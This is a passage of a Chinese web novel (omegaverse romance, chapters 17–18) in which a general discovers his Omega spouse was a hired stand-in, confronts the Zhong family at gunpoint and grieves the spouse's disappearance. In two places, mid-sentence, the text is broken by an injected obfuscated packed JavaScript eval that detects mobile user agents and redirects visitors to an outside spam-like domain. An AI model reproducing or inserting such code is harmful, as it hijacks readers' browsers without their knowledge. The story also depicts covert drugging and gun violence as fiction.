“你到底在胡说什么?!”路霆的声音因震惊和不解而拔高,“那里怎么可能是他的……家!” 孟檀清迎着他混乱的目光,一字一句,清晰无比:“你该去问钟家。他,不是真正的钟映。” 路霆像是被一道惊雷劈中,下一秒,他猛地转身,如同失控的猛兽般直冲钟家,他持枪闯了进去,冰冷的枪口狠狠抵在钟浦涛的太阳穴上,眼睛血红,声音嘶哑地逼问:“钟映……到底去了哪里?!说!” 那只名叫屠阳的恶犬狂吠着扑上来,被路霆眼都不眨地一枪击毙在当场。 鲜血溅开的同时,他忽然想起之前陪钟映回钟家时,他看到这只狗就脸色煞白,下意识地瑟缩,当时只低声说……曾被这狗咬过。 孟檀清的声音仿佛又一次响在他耳边。 “他为了救病重的妹妹,把自己彻底卖给了钟家。代价包括……替那个真正的钟家少爷顶罪进少管所,还有……代替他,嫁给你。” “他根本就没想过……你会去找他。” 路霆的心脏像是被一只无形的手狠狠攥住,窒息般的疼。他喃喃地问,像是在问自己,又像是在问那个已经消失的人:“……为什么?” 孟檀清的声音带着一丝不易察觉的怜悯,却依旧残忍:“他说……你又不爱他。他的消失不会惊动任何人。甚至……所有人都会因为他的离开,而松一口气。” 钟浦涛被那冰冷的枪口和路霆眼中毫不掩饰的杀意吓得魂飞魄散,连声求饶,让他冷静。 就在这时,二楼惊慌地跑下来一个人,嘴里急切地喊着:“父亲!” 路霆抬起猩红的眼睛,看向来人,那张脸,竟与钟映别无二致,几乎是一个模子刻出来的,可是仔细看,又有差别。 人工制造的家伙。 他先是一怔,随即恍然大悟,过去一切想不通的事情此刻他都明白。 路霆喉咙里发出一阵极其冰冷、饱含嘲讽与怒意的冷笑:“好啊……真好。你们钟家,真是把我当猴耍得团团转!” 他的枪口微微移开钟浦涛,指向那个刚刚出现的“钟映”:“那个顶替了你名字、在我身边待了四年的人呢?!他现在到底在哪儿!” 钟灵被这骇人的气势吓得浑身一哆嗦,跪在了地上,声音都带了哭腔:“……我们不知道,真的不知道……他早就自己离开了……将军,求求你,饶过我父亲吧……” 路霆猛地松开钳制钟浦涛的手,转而一步步走向钟灵。他蹲下身,用还散发着硝烟味的枪管,极其侮辱性地挑起了钟灵的下巴,迫使对方抬起那张与挚爱之人一模一样的脸。 明明是一样的眉眼,一样的轮廓,可眼前这个人,却只让他感到无比的虚伪和恶心。 “上次酒吧那个视频里面的人,是你?” 钟灵吓得脸色惨白,睫毛剧烈颤抖,几乎不敢直视他的眼睛,哆哆嗦嗦地承认:“对……对……是我……” 路霆的枪管用力了几分,眼底的风暴几乎要将人吞噬:“那就给我好好说说……你们钟家,是怎么编造出这个弥天大谎,把他一步步送到我身边的。” * 路羿回到家时,一眼就看见门口瘫坐着一个酩酊大醉的身影。 他刚拿出钥匙,那个醉醺醺的人就歪歪扭扭地站了起来,声音嘶哑破碎,带着浓重的酒气和压抑的暴怒:“你是不是……早就知道了?” 路羿看着他哥这副从未有过的狼狈模样,叹了口气:“哥,你……” 话未说完,路霆猛地将手中的酒瓶砸在地上,玻璃碎片四溅,发出刺耳的碎裂声。 他一把揪住路羿的衣领,双目赤红,像是要将他生吞活剥:“你早就知道他是个骗子!你跟他合起伙来骗我!是不是!” 路羿挣脱不开,看着兄长几乎崩溃的神情,一直压抑的话终于冲口而出:“是!我早就知道!他求我不要告诉你!他快给我跪下了!哭着说你如果发现了,一定会把他送进监狱!他说他不能进去……他妹妹还在医院,需要人照顾……” 说到后面,路羿的声音低了下去,带着不忍。 路霆像是被抽走了所有力气,猛地松开他,踉跄着后退两步,声音里充满了难以置信的崩溃和自嘲:“……还真是。凭什么啊……那我……我这些年……到底算什么……” “我算什么?” 路羿沉默地看着他,然后从随身的包里掏出一张卡,扔到他面前:“他留下的。这些年,他没花过你一分钱。” 路霆捡起那张冰冷的卡片,捏在指尖,发出一种近乎神经质的低笑:“这又算什么……我不会放过他的……绝不会……” 他跌跌撞撞地想要起身离开。 路羿却突然对着他的背影,声音清晰地问道:“那你呢?哥,他对你又算什么?!” “你有给过他一天好脸色吗?你有真的把他当成你的Omega、你的伴侣看待过吗?你带着有色眼镜看他,有给过他一点点安全感,哪怕一丝真正的尊重吗?” “你们结婚四年,你让他吃了四年的药!我查过那药……根本就不是普通Omega能吃到的!就是你给他的!你知道那药可能会让他再也无法生育了吗?!” “他每次吃下去的时候……都是真的以为那是你对他的好……” 路羿想到钟映安慰自己的无奈表情。 “他是个孤儿,自己都吃不饱的时候,就捡了个妹妹带在身边养。他说没几个人对他好过,所以你对他的那一点点好,他都记在心里,对你感恩戴德……可他根本不是自由的!他连自己的心都不是!他把自己能给的那点爱都给你了。” “哥,放过他吧……也放过你自己。” 路霆僵在原地,没有回头,也没有说话,最终只是拖着沉重的步伐,沉默地离开了。 容嘉不知何时出现,想要上前扶住摇摇欲坠的路霆,却被他一把推开。 路霆颓然跌坐在冰冷的台阶上,将脸深深埋进掌心。 “路霆,我们走吧。”容嘉轻声劝道,“他既然已经离开了,你又何苦这样作茧自缚……” 路霆像是根本没听见他的话,忽然用力捶打着自己的头,声音闷在掌心里,痛苦不堪:“他知道了……他知道我给他吃药了……我就是不想跟他有孩子……他什么都知道了……可他后来还问我要……还笑着吃下去……你说……你说他当时到底在想什么?” 他猛地抬起头,脸上竟满是泪痕,眼神混乱而绝望:“是啊。他脑袋空空,又笨又蠢,没主见,还整天算计我……我根本瞧不上他……可是我为什么……为什么现在这里……” 他用力捶着自己的胸口:“这么痛,这么痛苦……” 容嘉捂着嘴,难以置信地看着眼前这个从未显露过脆弱、此刻却泪流满面的Alpha。 路霆……竟然在哭。 17. 路霆这辈子都跨不过那个人了 容嘉记忆中,只见过路霆哭过两次。 第一次,是路霆父亲过世的时候。那时他才十八岁,躲开了所有前来吊唁和安慰的人,独自缩在昏暗的阁楼角落,肩膀无声地耸动,用手背狠狠地抹去眼泪,倔强地不肯发出一点声音。 第二次,就是现在。 这个永远骄傲、永远强大的Alpha,竟然因为他那个从不曾真正放在心上、甚至有些带不出手的Omega妻子,彻底崩溃,泪流满面。 他喃喃自语,每一个字都浸透着巨大的悔恨和迟来的钝痛:“难怪他什么都不会……难怪他什么都觉得新奇……难怪他的胆子总是那么小……” 之前容嘉从未将那个存在感稀薄的Omega真正放在眼里过。 路霆是天之骄子,冉冉升起的少年天才。他们从小一起长大,围绕在路霆身边、扑上来的莺莺燕燕数不胜数。 当年,路霆纯粹是因为厌烦了日复一日被各种狂热爱慕者围追堵截的日子,才和容嘉短暂地在一起过,像找一个挡箭牌,图个清静。 后来,是路霆先提出的分手。 容嘉不甘心地问他为什么,路霆当时的表情淡漠得很,只说了三个字:“没意思。” 容嘉还想勉强挽留些什么,路霆看着他,眼神里没有任何波澜,补充道:“就像每天吃饭喝水一样,自然而然,但也……没什么意思。” 于是,他们便退回了朋友那条安全,却也有联系的界线。 容嘉一直以为,路霆对感情大抵就是如此,冷淡得像一块焐不热的石头。 直到此刻,他看着路霆为将丢弃的Omega痛哭失声,才恍惚意识到,路霆觉得有意思的是什么。 容嘉曾一度以为,自己是这世上最了解路霆的人。 常有人好奇地问,路霆究竟会找个什么样的伴侣。 他的标准高得几乎不近人情,脸要足够惊艳,身材需得顶尖,要知书达理,更要博古通今,仿佛不是在找爱人,而是在遴选一件毫无瑕疵的艺术品。 然而后来,路家势颓,一夕家道中落。 这位眼高于顶的天之骄子,竟转头就娶了一个名声狼藉、几乎一无是处的Omega。 这件事,成了那些早已看他不顺眼之人茶余饭后最好的谈资和嘲笑利器。 当时,路家放路霆上前线的唯一条件,便是要他必须先成家。钟、路两家的婚约本就摇摇欲坠,形同虚设。 走投无路之下,路霆甚至曾向容嘉提出过结婚的请求。他强调,只是形式上的,有名无实,绝不越界。 容嘉当时只是调笑着搪塞过去:“路大少爷,你这可是要断了我以后的桃花运啊。” 玩笑之下,藏着他真实的考量,他不想将自己押注在一个前途未卜、甚至可能一去不回的人身上。 尽管他喜欢路霆,可那份喜欢,尚未浓烈到足以让他赌上一切。 路霆此后便再未提过此事。他转而接受了家族的安排,和那个叫钟映的Omega结了婚。 婚礼那天,容嘉去了。 路霆全程板着一张脸,那个Omega,除了一张确实无可挑剔的脸,站在光芒万丈的路霆身边,显得平凡又局促,看不出任何特别之处。 直到司仪念到誓词环节,要求双方对视。 容嘉看见,当路霆出于礼节,勉强低下头看向对方时,那个Omega的脸颊,竟以肉眼可见的速度,迅速漫上一层羞涩的红晕,连耳尖都透出薄红。 真新鲜。 容嘉当时在心里嗤笑一声。 他从未想过,有朝一日,竟会是这样一个人,让后来发生的一切,彻底脱离了所有人的预料。 后来听说,那个除了脸一无是处的Omega,竟真的跟着路霆去了条件艰苦、危机四伏的前线。 两年后,路霆带着赫赫军功重返帝国核心,权势与声望步步高升,再度成为万众瞩目的焦点。 容嘉看着那位坐在家属席上的Omega,偶尔会有些辗转难眠。 他重新做回了路霆身边那个看似亲近的朋友。 路霆毫不掩饰对自家Omega的厌恶,公开冷落他,甚至曾毫不留情地说“他永远不会喜欢他”。 他有时会故意在Omega出现的场合,与容嘉做出些略显亲昵的姿态,又在对方看过来躲避视线后迅速松开。 次数多了,容嘉偶尔也会产生一种错觉,自己是不是也成了路霆用来刺激、折磨那个人的工具之一。 他看着路霆的妻子每每眼圈微红,却始终隐忍不发、默默承受的样子,心里忽然觉得,路霆或许并没有表面上看起来那么成熟稳重。 在感情这件事上,他可能真的……相当幼稚。 路霆似乎从未真正爱过任何人,甚至可能根本不知道该如何去爱。 但这些,都和他容嘉没什么关系了。 他清楚地知道,无论路霆是否懂得爱,那颗心既不会落在他身上,也绝不会给予那个被他视若尘埃的Omega。 他原本以为,路霆迟迟不和那个Omega离婚,多少是念及对方曾陪着他在前线吃过两年苦的情分。 后来又听说了他那小妻子闹出的自杀风波,他想,以路霆那种性格,最厌恶的就是麻烦,最不能容忍的就是脱离掌控的事物。 他猜测,路霆会毫不犹豫地、用最冷酷的方式结束这段婚姻,将这个人生中的麻烦和不确定因素彻底剔除。 可他没想到,路霆竟然选择了妥协。而且,不止一次。 容嘉曾半开玩笑地揶揄他:“原来还有你路将军怕的人啊?” 路霆当时只是扯了扯嘴角,露出一抹似无奈又似烦躁的表情,语气听起来像是抱怨,却又透着一丝难以言喻的纵容:“那能怎么办?一提离婚,他就说爱我爱得要死要活,哭得喘不上气,发誓说下次一定不会再犯……我怕了他了行不行?而且他一出点什么事,我妈第一个打电话来骂我。” 那个Omega表现得越是偏激,越是失控,越是用一种近乎窒息的方式捆绑着路霆,反而给容嘉一种诡异的感觉,路霆似乎……挺乐见其成的? 那是一种隐藏在无奈抱怨下的、不易察觉的得意和成就感,仿佛很享受这种被另一个人如此极端地、全身心地依赖和需要着的感觉。 所以,路霆……他是真的想离婚吗? 容嘉看着好友那副看似苦恼实则掌控一切的模样,第一次对这个问题的答案,产生了深刻的怀疑。 容嘉觉得路霆手中仿佛牵着一根无形的线,每一次试探、每一次拉扯,都在丈量着对方失控的深度。 那根线另一头系着一个人,一个会哭会闹、会颤抖着说“我爱你爱到快要死去”的人。 路霆的神情总是冷淡的,甚至偶尔透出不耐烦。他会说“太麻烦了”“真是怕了他”,语气里充斥着Alpha掌控感被挑衅时的那点躁郁。 可他又从不真正切断那根线。 他任那个人哭,任那个人崩溃,任那个人用最极端的方式表达依恋。 路霆甚至会在对方发誓“再也不会”的时候,轻轻抬一下嘴角。那不是一个笑,更像是一种确认。确认自己仍被需要,被强烈地、窒息地、毫无保留地需要着。 他抱怨母亲总是偏袒对方,电话里一句句责备落在他耳边,他却也没真正反驳过。 他拉紧一次,对方就哭得更凶;他松一寸,那人就更贴近一寸。路霆在这场看似被动的关系里,始终掌握着最核心的节奏。 他不是挣脱不了,是他从未真正想逃。 后来有一次军部与集团联合举办交流会,容嘉是主要负责人。 那天路霆的易感期毫无预兆地来了,气息又烈又沉,容嘉扶他进休息间,被他身上灼热的信息素气逼得心跳加速。他低头凑近,声音压得极轻:“我帮你吧,路霆。” 下一秒却被狠狠推开。 路霆眼眶发红,呼吸粗重,却仍嗤笑一声,冷漠道:“你有病吧?我有Omega。” 那一瞬间容嘉全都明白了。 自己不过是路霆用来刺激家里那个人的工具,一遍一遍,那次机场是,后面很多次都是,路霆的自私真是难以想象,他什么也没说,只在离开时故意把自己的外套留在了路霆房间的角落。 算是一种报复。 那天晚上容嘉对那个Omega又故意说了几句暧昧不清的话,那个一向沉默的Omega这次却没忍住,冷冷淡淡地顶了回来。 路过休息室时,容嘉从门缝里看见,路霆整个人缠在对方身上,头深深埋在Omega的颈窝里,像一头失控又依赖的兽。 而那个Omega竟没有半点不耐,只是温柔地回抱他,手指穿进他汗湿的黑发间,一下一下地抚摸。 路霆从来不是这样的。他应该是冷的、硬的、不为所动的,可此刻他心甘情愿地塌下脊背,被对方的气息裹挟、安抚、彻底掌控。 信息素或许能催动人的冲动,却绝不会让一个Alpha放下所有尊严与防线。 容嘉站在走廊阴影里,觉得自己的心脏被什么东西拧得生疼。 那是爱,是沉溺,是路霆嘴上死不承认、却早已逃不开的俘虏。 他第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来有一阵,听说那个Omega闹着要离婚。路霆整个人处在一种低气压的暴戾里,眉宇间都是躁意,没人敢在他面前多提一个字。 他们很久没见。忽然有一天,路霆主动联系他,语气平淡得像什么都没发生过:“你生日快到了,我帮你办个宴会吧。” 容嘉握着手机,良久没有回应。 有一种被当做的工具的厌倦。 容嘉半倚在窗边,语气轻佻带笑,像往常一样试探:“怎么,路少这是打算趁生日宴……把我正式宣布了?” 电话那头静了两秒,随即传来路霆冷得掉冰碴的声音:“我有老婆,你在想什么呢,你这些年拿到的好处还少吗?总该付出点代价吧。” 那一瞬间,容嘉脸上的笑意淡了下去。烟灰无声跌落在指尖,有点烫,但他没动。 他直到这一刻才清晰地意识到,路霆其实什么都知道。 他只是懒得说。 容嘉有几分用处他就留着。 容嘉缓缓吐出一口烟,他轻轻嗤笑一声,分不清是笑自己,还是笑电话那头那个薄情的男人。 路霆的那个Omega晕倒的时候,容嘉就在旁边。他第一次在路霆脸上看到那样的表情。 像是突然被抽走了所有冷静和自持,眼神里晃过一丝近乎孩童犯错般的不安与慌乱。 后来很长一段时间,他再没听到任何关于那个Omega的消息。 取而代之的,是钟家被路霆一纸诉状直接告上军事法庭的震动。 消息传遍帝国,无人不惊。 容嘉听到些许内幕,坐在办公室里良久没有出声。 另一名同谋者至今下落不明,军部开出的通缉令悬红高得令人心惊。 他只知道路霆动了手,自己也受了不轻的伤,静养了很长一段时间。 外界消息传得沸沸扬扬,“将军遇刺”的标题铺天盖地,声势极大,据说他伤得极重,威胁到了生命。 可容嘉听到的第一反应,竟是觉得荒谬,路霆在卖惨。 他用一场真戏假做的风波,布下漫天钩索,不过是为了把那个藏起来的人逼出来,哪怕一丝线索也好。 那一刻容嘉清楚地意识到:路霆这辈子都跨不过那个人了。 而他大概,也再也见不到路霆了。 因为他没价值了。 不过容嘉很庆幸,因为路霆跟他一样要孤独终老了。 18. 妈,我知道错了 路母端着餐盘推门进来时,路霆正靠在病床上,迅速将手里攥着的东西塞进枕下。动作太急,牵拉到肋下的伤口,他皱着眉低低抽了口气,额角渗出细密的冷汗。 路母什么都没多问,只轻声嘱咐他把饭吃了,放下餐盘便安静地退了出去。 路霆被刺的原因其实并不复杂。 路霆一点都没放过钟家。 外界传言纷纷扬扬,都说路、钟两家姻亲已断,再加上之前路霆被戴绿帽的旧闻重提,更是闹得满城风雨。 外人猜测因为这两件事叠在一起,才让路霆下手这么狠,半点情面都不留。 姻亲世家一夜崩盘。 路霆本人倒是从不回应。 当时被折磨得精神濒临崩溃的钟灵,嘶哑着找到路霆说他知道钟映的下落。 就在路霆靠近他的瞬间,钟灵突然从袖中抽出一把藏了许久的短刀,猛地刺向路霆腹部。 刀口其实并不深,但路霆却在那一刻反手扣住钟灵的手腕,骤然发力将刀更深地捅进自己身体。他连眉头都没皱一下,只冷静地盯着对方惊骇的眼睛,声音低得如同结冰:“我要让你们钟家……一辈子都翻不了身。” 路霆走到今天,对自己狠,对旁人更狠。 他这辈子唯一摇摆不定的只有一个人而已。 事后,路霆亲自吩咐人把消息放出去,说他被刺成重伤,性命垂危。 第二天,“路霆遇袭危殆”的新闻就见了报,标题耸动,篇幅醒目。 门再次被推开时,进来的是穿着白大褂的路羿。 路羿扫了一眼床头几乎没动的饭菜,语气没什么温度:“没事了就早点出院,别占着医疗资源。” 说罢就转身,走到门口,却又停下脚步,路羿半侧过身补了一句:“难怪他那么怕你。你是真一点情面都不留。” “如果他没走……你是不是真会把他送进监狱?” 路霆沉默片刻,才沙哑地开口:“……你搞清楚,我才是受害者。” 他像是经过某种权衡,又低声补充:“如果他自首……或许可以从轻发落。” 路羿像是听到什么笑话,极淡地扯了下嘴角:“是,你是受害者。不过你大概一辈子都找不到他了。E区离这儿十万八千里,你这些话,也传不到他耳朵里。” 他目光落在路霆绷紧的下颌线上,语气更淡:“他说不定……已经重新开始了新生活,他挺渴望家庭生活,我觉得他也挺受欢迎的,说不定会再找一个比你好千倍的人在一起,组建家庭。” 路霆脸色沉了下去,明显的不爽,然后就是剧烈的咳嗽。 显然是被气到了。 路羿耸耸肩,正要拉门离开,却听见身后传来一声压抑的问句:“……他原本,叫什么名字?” 路霆的声音很低,几乎融进窗外的暮色里:“通缉令上……连个名字都没有。” 路羿回头,脸上没什么表情:“我不知道。钟家那边……也没人清楚?” 他不需要名字,因为他本身就只是个替身。 路霆说算了,就没再说话。 “他大概根本不在乎有谁记得他,哥,你说你是受害者?”路羿的声音没什么起伏,却字字清晰,“可他连你一分钱都没拿。这么多年,你说他骗了你的色,你不也睡了他?这么算起来,你好像也没亏什么。” 路霆的脸色骤然一僵,像是被什么尖锐的东西刺中了软肋。他突然抬高声音,几乎是吼了出来:“骗我的感情就不算了吗?!” 话音落下,病房里一片死寂。 路羿静静地看着他:“哥,可你不是一直说,你不爱他吗?” 路霆蹙紧眉头,嘴唇动了动,像是想反驳什么,却最终什么也没说出口。只是别开脸,下颌线绷得死紧。 “他说过他只是不小心闯进我们这个世界的人。”路羿转身前最后说道,“现在,他回去了,你气也发了,就算了吧。” 他嘴上说着“算了”,心里却只觉得可笑。 凭什么算了? 那个人就算躲到天涯海角、钻进地缝深处,他也一定会把人揪出来,把他最后一点侥幸磨干净。 路霆出院后回到了他们的家。 他照常上班、开会、处理军务,外表看起来一切如常。 很久都没有任何消息,他下令撤掉了通缉令,却找不到别的名义再去寻找那个人。 那个连真实姓名都不曾留下的人,像一阵毫无征兆的风,不带一丝波澜地吹进他的生活,却把一切都搅得七零八落,然后轻飘飘地抽身离去。 再也没人会在深夜轻声问他:“你今天会回家吗?” 再也没人系着围裙从厨房探出头,小声说:“我做了你喜欢的菜。” 再也没人在他按着太阳穴时靠过来,指尖微凉地触上他的皮肤:“路霆,你头痛吗?我帮你揉揉。” 再也没人用生涩又依赖的语气,红着耳朵问他:“路霆?这个我不会……你能教教我吗?” 路霆有时候想起来,恨得几乎咬牙切齿。他想着如果真抓住了那个人,他就…… 他就怎样? 他也不知道。 他只是觉得心里塌陷了一块又一块。 每次回家下意识叫出那个名字却无人回应时,塌一块。无意中点开那条再也得不到回复的对话框时,又塌一块。 他喝醉了趴在洗手台边吐得狼狈不堪,却恍惚想着那个人如果看见会不会心疼时。 再塌一块。 空洞无声蔓延,永无填补之日。 路霆从钟家手里拿到一张照片,很小一张。 是很多年前拍的,那人刚被送进钟家不久,站在灰墙前,镜头对准他时似乎有些无措,眼神怯生生的,却还是努力挤出一个笑。 照片已经泛黄,边角磨损得厉害。 路霆把照片按在胸口,突然觉得心口抽着疼,一阵一阵,钝得发慌。 他觉得自己大概是病了。 路霆总会不由自主地想,那个人原本的世界……到底是什么样的? 他会开车,技术甚至称得上漂亮;会修很多东西,电器、管道、甚至一些零件的外接部件,也许以前是个修理工。 路霆的思绪忽然滞住:那他的手……以后要靠什么过日子? 他也会做饭。不,路霆随即想起,那是后来为了他才学的。他那个没血缘的妹妹也是他捡回来的。那个人心软得过分,走在路上连流浪猫狗都会多看两眼。现在他一个人走了,会不会又捡些什么回去养? 他会不会真的找到另外一个人组建家庭。 他离开的时候,去和路羿道了别,甚至和孟檀清也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345628|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了再见。 唯独不肯来见路霆最后一面。 他应该是恨我的,路霆想。 他恨自己骗他吃避孕药,恨他连妹妹最后一面都没让他见成。 路霆的日子彻底失了控,过得浑浑噩噩,像一台只剩空转的机器。 有一次他病得极重,高烧反复不退,信息素失控地弥漫,浓烈到几乎塞满整个房间。他一个人蜷在卧室床上,意识烧得模糊糊糊,连呼吸都扯得腹部的旧伤阵阵发疼。 他几乎翻遍了整间屋子,却连一件Omega留下的衣物都找不到,仿佛那个人从未在这里生活过。 路霆站在那间空荡荡的杂物室门前,忽然想起刚搬来时,钟映曾指着这里说:“以后这间就当婴儿室。” 路霆不想要孩子的原因其实很简单,钟浦涛目的性太强,钟映又太过软弱。 他天生强势惯了,只想钟映完全彻底地站在他这边,容不得半点犹豫摇摆。 可偏偏钟映连态度都始终暧昧不清。 钟映让他失望了。 可路霆从来不知道他的苦衷。 路霆从来不会照顾自己。明明伤还没好全,就敢不管不顾地喝酒,仿佛疼痛才是唯一能让他清醒的东西。 最后还是路母赶来照顾他。她一边叹气一边收拾厨房柜子,却见路霆撑起身,咳嗽着把她动过的东西一件件挪回原处,哑着嗓子说:“妈,你别动这些。” 路母看着他苍白消瘦的脸,眼底满是心疼和复杂,最终却只是长长叹了口气。 “回家住吧。” 她轻声说,语气里带着无奈,“你这么折腾自己,到底是做给谁看?” 路霆沉默着没有回答,视线低垂。 他们已经很久没有提起那个名字。 仿佛只要不提起,就能假装一切从未发生。 “你以前总说我向着他……可他是真对你好。”路母的声音很轻,却字字清晰,“路霆,你风光的时候,有多少人抢着说爱你?可你说,你落魄的时候,又有谁是真的把整颗心掏给你?” 她停顿了一下,像是压下某种情绪:“我听小羿说了他的事。就算有再多不得已,他也是把刀口对着自己身上挥……从来没想过伤你。” “你从小到大,什么掌声鲜花没受过?我以为前线那两年能让你学会珍惜。”她的语气沉下去,带着一丝不易察觉的痛心,“有些真心,是糟蹋不得的。别总觉得自己高人一等,我劝过你多替别人想想,你不听。你自私,你以为他永远不会走,现在这一切,都是你活该。” 路母转身走进厨房,默默给他煮了一碗清汤面,热气腾腾地放在桌上,香气淡淡飘散。 路霆始终低着头,肩膀微微发抖,像一根绷得太紧终于要断裂的弦。 直到母亲温暖的手轻轻落在他颤抖的背上,他才突然彻底崩溃,捂住脸哭得像个迷路的小孩,声音断断续续地从指缝中漏出来:“我连他真正的名字……都不知道。” 他哽咽着,几乎说不下去,过了很久才哑声道了一句。 “……妈,我知道错了。” “他哪怕……哪怕只告诉我一句实话,我不会……” 路霆的声音低哑,话说到一半却再也继续不下去。 路夫人摇摇头,目光里带着不忍却依旧清醒:“你怎么对他的,让他怎么说得出口。”